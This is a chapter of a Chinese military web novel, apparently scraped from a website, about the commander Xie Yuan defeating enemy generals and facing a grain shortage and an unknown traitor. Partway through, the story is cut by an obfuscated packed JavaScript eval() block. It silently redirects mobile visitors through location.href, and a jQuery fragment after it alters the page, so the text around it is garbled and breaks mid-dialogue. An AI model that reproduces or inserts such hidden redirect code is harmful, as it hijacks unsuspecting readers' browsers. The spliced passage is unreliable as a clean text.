22. 第22章 粮断

耶律和风好不容易保下小命,他摸着脖子,后怕地看着一人一马直冲过来的谢媛,脸色陡变。


他大喊道:“撤!快撤!是玉阎罗!”


“耶律和风,你可是我楚蛮的勇士,什么时候也学会了大晋的落水狗姿态?”


哈努赤山甚是不屑地扫了眼耶律和风,轻蔑地道:“真是丢耶律察赫大将军的脸!”


他一把将耶律和风推开,没有注意到对方脸上一闪而过的杀气,举起弯刀迎头冲向谢媛。


“大晋小儿,爷爷来会会你。”


谢媛不闪不避,松开缰绳,从马背上一跃而起,双手握剑斩向哈努赤山,一力降十会,哈努赤山被震得虎口发麻,差点从马背上摔了下来。


他刚稳住身形,倏地肩膀一沉,刚侧头看过去,谢媛便脚下用力,猛地一脚踹他脸上,将他踢下马,取下马背上的弓箭。


调转马头,搭弓,拉箭。


咻——


飞箭破空,疾如闪电,正中仓惶而逃的那人后背。


“耶律将军!”


远处惊呼阵阵,哈努赤山更是谢媛这一手羞辱气得面红耳赤,抡起弯刀飞步跨了过来。


谢媛面无表情,驱马再次转身从哈努赤山身旁掠过,击飞他手中弯刀的同时,提起他的后衣领摔在马背上。


随即一剑刺中马腹,烈马嘶鸣,前蹄高高扬起不停地疯狂摆动,似乎要将背上的人甩下去。


谢媛一手按压在疯马脖颈处,一跃而起,将被颠飞的哈努赤山又一脚踢了回去,抬起马鞭将他套在马鞍上,随后再次一剑刺向马腹。


瞬时,战马便如同发了疯一般狂躁起来,不顾哈努赤山的安抚与呼喊,拼命地朝着一个方向奔腾。


一脚陷入泥沙暗流,一人一马缓缓下沉。


谢媛耳朵动了动,抿了抿唇,手指放在唇角吹了声马哨,朝怒不可遏又迟疑不敢上前的南蛮军队比了个蔑视的姿势。


“传说中的哈努将军,也不过如此,简直不堪一击!”


火红的战马在流沙地上如履平地,绕开暗流,奔至主人身边,谢媛翻身上马,疾驰远去。


……


翌日。


“是属下无能,让南蛮细作混入探子中,导致此次鸣风谷一战损失惨重。请主帅责罚!”


谢文渊低头抱拳,道:“未能阻止郭副将出鸣风谷地界,也是末将之责。”


南蛮主力军确实在进攻大晋南境,但并没有探子回报的那样紧急,斥候中混入奸细,军情半真半假,导致传递的信息有误,使得谢文渊率领鸣风谷将领全力出击,以望围魏救赵。


却不想对方是故意引蛇出洞,好来个瓮中捉鳖。


不仅郭副将带领的百余人精兵全部覆没,就连谢文渊几人带领的主力军也受到了好几波伏击。


若不是谢媛及时支援,率先斩下敌军将领头颅,恐怕此战损伤的兵力就不仅仅是五成了。


谢媛抬手,阻止了谢文渊接下来的求情。


“谢参将,你是主将,当然有罪,但郭仇春违抗军令也是事实!一切按军法处置。”


顿了顿,谢媛又添了句:“先记下,接下来还有一场硬仗要打。”


闻此言,谢文渊悬着的心才稍稍放下。


“是,主帅。”


“此次伤亡的将士,好生安抚,抚恤银一个子儿也不能少!”谢媛看向众将士,道,“另外,诸位将军手下的伤亡名单与请封名单一并统计好给我。”


“是!”


接下来数日,如同谢媛推测的那般,南蛮军队又开始了新一轮的强攻,不仅仅是鸣风谷,还有北境的其他三处重要哨卡据点,都受到猛烈的反扑。


鸣风谷的粮草只够用半个月,谢媛在十天前发回瓜州城的信,迟迟没有回音。


伤员越来越多,老军医忙得焦头烂额,脾气暴躁地不断骂骂咧咧。


“狗日的赵隼,粮粮发不下来,药药没有,老子只是个医者,又不是神仙!”


他找到谢媛,气呼呼地道:“谢玉弧,你这个主帅到底怎么当的?赵隼那个王八蛋都骑你头上拉屎了,你就准备这样张口接着?”


谢媛:“……”


“吴爷爷,您是文人,斯文点。”


“斯文?我呸!就你这浑身上下没二两毛的小子,最开始还是和我吴老头子学的粗话呢!”


吴老军医将医药箱扔给谢媛,道:“这破军医,谁爱当谁当,真当老子稀罕!”


谢媛无奈扶额,道了句:“吴爷爷,军医也是军,逃兵按军法条例,五马分尸。”


吴老军医身子一僵,随后又骂骂咧咧转身走回来,一把夺回药箱。


“谢玉弧,你有本事去搞赵隼,有本事别让你手底下下的将士死一波伤一波的,恐吓我一个老头子算什么本事!”


吴老军医气吁吁地走了,谢媛却怎么也静不下心来了。


她站起身,又坐下,如此反复了好几回,突然营帐门帘被拉开,谢文渊走了进来。


“吴老军医又跑你这儿诉苦了?”


谢媛点了点头,道:“也不算诉苦,他说得都是事实。”


“可是事实,也不一定全是真相。”


“这正是我苦恼的!”谢媛愁闷地看向谢文渊,问道,“小叔,我快到忍耐极限了。”


谢文渊从袖中取出一封信,递给她。


“看看这个?”


谢媛赶紧接过,随后揉了揉额角,瘫在椅背上,声音都有些有气无力。


“小叔,你们文官都有八百个心眼子吗?”


谢文渊微笑,纠正道:“主帅,我是武将,你的部下。”


谢媛:“……”


“林副参将那里怎么样了?”


谢文渊摇了摇头,道:“目前没看出什么异常来。”


“怪了,不是他,也不是赵隼,那到底是谁在中间搅混水。”谢媛咬了咬后槽牙,凶狠道,“若是让老子抓到了,乱棍打死!”


“阿媛,你现在是主帅,稳重点。”


谢媛冷哼一声,道:“我还不够稳重吗?换我以前的性子,早将他们全拉出来揍得哭爹喊娘了。”


谢文渊摇了摇头,他知道谢媛现在心中憋了一股闷气,安慰道:“是人是鬼总有露头的一天,我们现在最重要的是以守待攻,再撑一撑,等援军。”





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167443|164960||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


恐怕……难呐。”


谢媛叹了口气,摊开边防图,指了指几处,道:“鸣风谷已经算是易守难攻的了,虽数日前伤亡过半,但这几日南蛮的攻势一日比一日猛,怕是撑不了多久了。”


“鸣风谷尚且如此,其他哨卡可想而知。”


谢媛眉头紧拧,继续道:“小叔,在京城大军前来支援前,鸣风谷和其他哨卡据点,只能靠我们死守。”


“大丈夫生于天地,受命于君,舍命于百姓,死亦何惧。”


谢文渊拍了拍谢媛的头,道:“何况,小叔相信我们的玉弧将军,你可是我们的常胜将军,不,现在是主帅了。”


“小叔……”


谢媛张了张嘴,还想说什么,倏然营帐外吵吵嚷嚷,夹杂着吴老军医气急败坏的声音。


“郭仇春,你小子不要命了!?给我滚回来!哎哟,气死我了!你给我等着!”


吴老军医一手按着后腰,气得吹胡子瞪眼。正准备对身边围过来的将士开骂,忽然感觉不太对劲,四周一下变得安静极了。


“见过主帅!谢将军!”


一名营长小跑过来,朝谢媛与谢文渊抱拳,随后虎着脸对身边的士兵挥手道:“吵吵嚷嚷的成何体统!都给我滚回去练兵!”


小兵们纷纷朝谢媛行礼后,一散而开。


谢媛微微颔首,看向吴老军医,问道:“怎么回事?”


“郭仇春那个莽夫,也不知道发什么疯,突然抓起他那把破刀就冲了出去,说什么是他对不起手下将士,就算是拼了这条命,也要替活着的人杀出一条血路。”


吴老军医说完,谢文渊脸色陡变,立刻追问道:“他是一个人?”


“出去是一个人,谁知道回来是几块!”吴老军医冷笑一声,“自己的身体自己都不爱惜,就算是神仙也难救!死了好,最好死外面,别回来霍霍老头子我!”


这话说得属实有点难听,谢文渊没忍住开口道:“吴老军医,您……”


“您什么您,话带到了,老子走了。”


吴老军医衣袖一甩,背着药箱转身离去,谢文渊叹了口气,对谢媛拱手。


“主帅,属下这就去将郭副将带回来。”


谢媛抬手制止:“不用了。”


“可一不可二,机会我给过他了。”谢媛深吸一口气,微微握紧拳头,冷声道,“鸣风谷不止有一个郭仇春,鸣风谷后面还有无数手无寸铁的百姓。”


谢媛的意思,谢文渊懂了。


这次郭副将如若一去不回战死在外,他们也不会再为他一人之莽而牵连其他将士。


“末将知道了。”


谢文渊抬头看了眼阴沉的天空,轻声道:“是我驭下不严。”


“不,是他不适合做将军。”


谢媛冷着脸,道:“战场上情况瞬息万变,作为一名将领,一言一行都至关重要。若逞匹夫之勇,只会让更多无辜的将士去为他填命。”


“小叔,我脾气也不好,性子也急。可是,在战场上,我不敢有丝毫松懈。


“粮断技穷,不能再拖了,此事或许会成为转机。机不可失,谢参将听令,点兵,随时准备出战。”